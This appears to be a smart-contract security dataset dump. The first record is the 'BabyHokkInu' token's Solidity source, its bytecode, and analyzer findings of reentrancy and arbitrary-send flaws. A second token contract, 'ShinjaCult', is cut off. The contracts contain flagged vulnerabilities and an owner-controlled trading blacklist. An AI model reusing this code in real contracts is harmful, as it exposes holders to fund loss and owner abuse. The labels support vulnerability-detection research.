0x966cf69209b1935153730b8a785abc90b08d6edd
/** * * ─────────────────────────────────────────────────────────────────────────────────────────────────── ─██████████████───██████████████───██████──██████─██████████████─██████──████████─██████──████████─ ─██░░░░░░░░░░██───██░░░░░░░░░░██───██░░██──██░░██─██░░░░░░░░░░██─██░░██──██░░░░██─██░░██──██░░░░██─ ─██░░██████░░██───██░░██████░░██───██░░██──██░░██─██░░██████░░██─██░░██──██░░████─██░░██──██░░████─ ─██░░██──██░░██───██░░██──██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██───██░░██──██░░██─── ─██░░██████░░████─██░░██████░░████─██░░██████░░██─██░░██──██░░██─██░░██████░░██───██░░██████░░██─── ─██░░░░░░░░░░░░██─██░░░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██░░██─██░░░░░░░░░░██───██░░░░░░░░░░██─── ─██░░████████░░██─██░░████████░░██─██░░██████░░██─██░░██──██░░██─██░░██████░░██───██░░██████░░██─── ─██░░██────██░░██─██░░██────██░░██─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██───██░░██──██░░██─── ─██░░████████░░██─██░░████████░░██─██░░██──██░░██─██░░██████░░██─██░░██──██░░████─██░░██──██░░████─ ─██░░░░░░░░░░░░██─██░░░░░░░░░░░░██─██░░██──██░░██─██░░░░░░░░░░██─██░░██──██░░░░██─██░░██──██░░░░██─ ─████████████████─████████████████─██████──██████─██████████████─██████──████████─██████──████████─ ─────────────────────────────────────────────────────────────────────────────────────────────────── http://t.me/BabyHokkInu http://babyhokkinu.com https://reddit.com/r/BabyHokkInu/ https://twitter.com/BabyHokkInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyHokkInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BabyHokkInu"; string private constant _symbol = "BBHOKK"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f4578063c3c8cd8014610314578063c9567bf914610329578063d543dbeb1461033e578063dd62ed3e1461035e57600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d457600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a42616279486f6b6b496e7560a81b60208201525b60405161015691906119f2565b60405180910390f35b34801561016b57600080fd5b5061017f61017a366004611883565b6103a4565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d0366004611843565b6103bb565b3480156101e157600080fd5b506101f56101f03660046117d3565b610424565b005b34801561020357600080fd5b5060405160098152602001610156565b34801561021f57600080fd5b506101f561022e366004611975565b610478565b34801561023f57600080fd5b506101f56104c0565b34801561025457600080fd5b506101a76102633660046117d3565b6104ed565b34801561027457600080fd5b506101f561050f565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b157600080fd5b506040805180820190915260068152654242484f4b4b60d01b6020820152610149565b3480156102e057600080fd5b5061017f6102ef366004611883565b610583565b34801561030057600080fd5b506101f561030f3660046118ae565b610590565b34801561032057600080fd5b506101f5610634565b34801561033557600080fd5b506101f561066a565b34801561034a57600080fd5b506101f56103593660046119ad565b610a2d565b34801561036a57600080fd5b506101a761037936600461180b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b1338484610b00565b5060015b92915050565b60006103c8848484610c24565b61041a843361041585604051806060016040528060288152602001611bc3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611036565b610b00565b5060019392505050565b6000546001600160a01b031633146104575760405162461bcd60e51b815260040161044e90611a45565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a25760405162461bcd60e51b815260040161044e90611a45565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e057600080fd5b476104ea81611070565b50565b6001600160a01b0381166000908152600260205260408120546103b5906110f5565b6000546001600160a01b031633146105395760405162461bcd60e51b815260040161044e90611a45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b1338484610c24565b6000546001600160a01b031633146105ba5760405162461bcd60e51b815260040161044e90611a45565b60005b8151811015610630576001600a60008484815181106105ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611b58565b9150506105bd565b5050565b600c546001600160a01b0316336001600160a01b03161461065457600080fd5b600061065f306104ed565b90506104ea81611179565b6000546001600160a01b031633146106945760405162461bcd60e51b815260040161044e90611a45565b600f54600160a01b900460ff16156106ee5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072b3082683635c9adc5dea00000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076457600080fd5b505afa158015610778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079c91906117ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e457600080fd5b505afa1580156107f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081c91906117ef565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086457600080fd5b505af1158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c91906117ef565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108cc816104ed565b6000806108e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097d91906119c5565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f557600080fd5b505af1158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106309190611991565b6000546001600160a01b03163314610a575760405162461bcd60e51b815260040161044e90611a45565b60008111610aa75760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044e565b610ac56064610abf683635c9adc5dea000008461131e565b9061139d565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610fd957600f54600160b81b900460ff1615610e5f576001600160a01b0383163014801590610db157506001600160a01b0382163014155b8015610dcb5750600e546001600160a01b03848116911614155b8015610de55750600e546001600160a01b03838116911614155b15610e5f57600e546001600160a01b0316336001600160a01b03161480610e1f5750600f546001600160a01b0316336001600160a01b0316145b610e5f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044e565b601054811115610e6e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb057506001600160a01b0382166000908152600a602052604090205460ff16155b610eb957600080fd5b600f546001600160a01b038481169116148015610ee45750600e546001600160a01b03838116911614155b8015610f0957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1e5750600f54600160b81b900460ff165b15610f6c576001600160a01b0382166000908152600b60205260409020544211610f4757600080fd5b610f5242603c611aea565b6001600160a01b0383166000908152600b60205260409020555b6000610f77306104ed565b600f54909150600160a81b900460ff16158015610fa25750600f546001600160a01b03858116911614155b8015610fb75750600f54600160b01b900460ff165b15610fd757610fc581611179565b478015610fd557610fd547611070565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101b57506001600160a01b03831660009081526005602052604090205460ff165b15611024575060005b611030848484846113df565b50505050565b6000818484111561105a5760405162461bcd60e51b815260040161044e91906119f2565b5060006110678486611b41565b95945050505050565b600c546001600160a01b03166108fc61108a83600261139d565b6040518115909202916000818181858888f193505050501580156110b2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cd83600261139d565b6040518115909202916000818181858888f19350505050158015610630573d6000803e3d6000fd5b600060065482111561115c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044e565b600061116661140b565b9050611172838261139d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122357600080fd5b505afa158015611237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125b91906117ef565b8160018151811061127c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a29130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112db908590600090869030904290600401611a7a565b600060405180830381600087803b1580156112f557600080fd5b505af1158015611309573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132d575060006103b5565b60006113398385611b22565b9050826113468583611b02565b146111725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b600061117283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142e565b806113ec576113ec61145c565b6113f784848461147f565b806110305761103060056008819055600955565b6000806000611418611576565b9092509050611427828261139d565b9250505090565b6000818361144f5760405162461bcd60e51b815260040161044e91906119f2565b5060006110678486611b02565b60085415801561146c5750600954155b1561147357565b60006008819055600955565b600080600080600080611491876115b8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c39087611615565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f29086611657565b6001600160a01b038916600090815260026020526040902055611514816116b6565b61151e8483611700565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611592828261139d565b8210156115af57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d58a600854600954611724565b92509250925060006115e561140b565b905060008060006115f88e878787611773565b919e509c509a509598509396509194505050505091939550919395565b600061117283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611036565b6000806116648385611aea565b9050838110156111725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b60006116c061140b565b905060006116ce838361131e565b306000908152600260205260409020549091506116eb9082611657565b30600090815260026020526040902055505050565b60065461170d9083611615565b60065560075461171d9082611657565b6007555050565b60008080806117386064610abf898961131e565b9050600061174b6064610abf8a8961131e565b905060006117638261175d8b86611615565b90611615565b9992985090965090945050505050565b6000808080611782888661131e565b90506000611790888761131e565b9050600061179e888861131e565b905060006117b08261175d8686611615565b939b939a50919850919650505050505050565b80356117ce81611b9f565b919050565b6000602082840312156117e4578081fd5b813561117281611b9f565b600060208284031215611800578081fd5b815161117281611b9f565b6000806040838503121561181d578081fd5b823561182881611b9f565b9150602083013561183881611b9f565b809150509250929050565b600080600060608486031215611857578081fd5b833561186281611b9f565b9250602084013561187281611b9f565b929592945050506040919091013590565b60008060408385031215611895578182fd5b82356118a081611b9f565b946020939093013593505050565b600060208083850312156118c0578182fd5b823567ffffffffffffffff808211156118d7578384fd5b818501915085601f8301126118ea578384fd5b8135818111156118fc576118fc611b89565b8060051b604051601f19603f8301168101818110858211171561192157611921611b89565b604052828152858101935084860182860187018a101561193f578788fd5b8795505b8386101561196857611954816117c3565b855260019590950194938601938601611943565b5098975050505050505050565b600060208284031215611986578081fd5b813561117281611bb4565b6000602082840312156119a2578081fd5b815161117281611bb4565b6000602082840312156119be578081fd5b5035919050565b6000806000606084860312156119d9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1e57858101830151858201604001528201611a02565b81811115611a2f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac95784516001600160a01b031683529383019391830191600101611aa4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afd57611afd611b73565b500190565b600082611b1d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3c57611b3c611b73565b500290565b600082821015611b5357611b53611b73565b500390565b6000600019821415611b6c57611b6c611b73565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ea57600080fd5b80151581146104ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fab99ceee67bad58d19347f24018b60fb3e71f5e13b6b4748e6bd52a9fcac3c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,565
0x9b58f0c39d8ea3792346cb9fb5b65fce84d1566d
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ /** TELEGRAM : https://t.me/shinjacult */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShinjaCult is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHINJACULT"; string private constant _symbol = "$SCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x4563B4aBfAF5165A57F52e3aea947d9C94ACcFB0); address payable private _marketingAddress = payable(0x4563B4aBfAF5165A57F52e3aea947d9C94ACcFB0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 250000000000 * 10**9; //0.25% MAX. TRANSACTION uint256 public _maxWalletSize = 20000000000000 * 10**9; //2% MAX. WALLET uint256 public _swapTokensAtAmount = 500000000000; // 0.05% swap wallet event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); 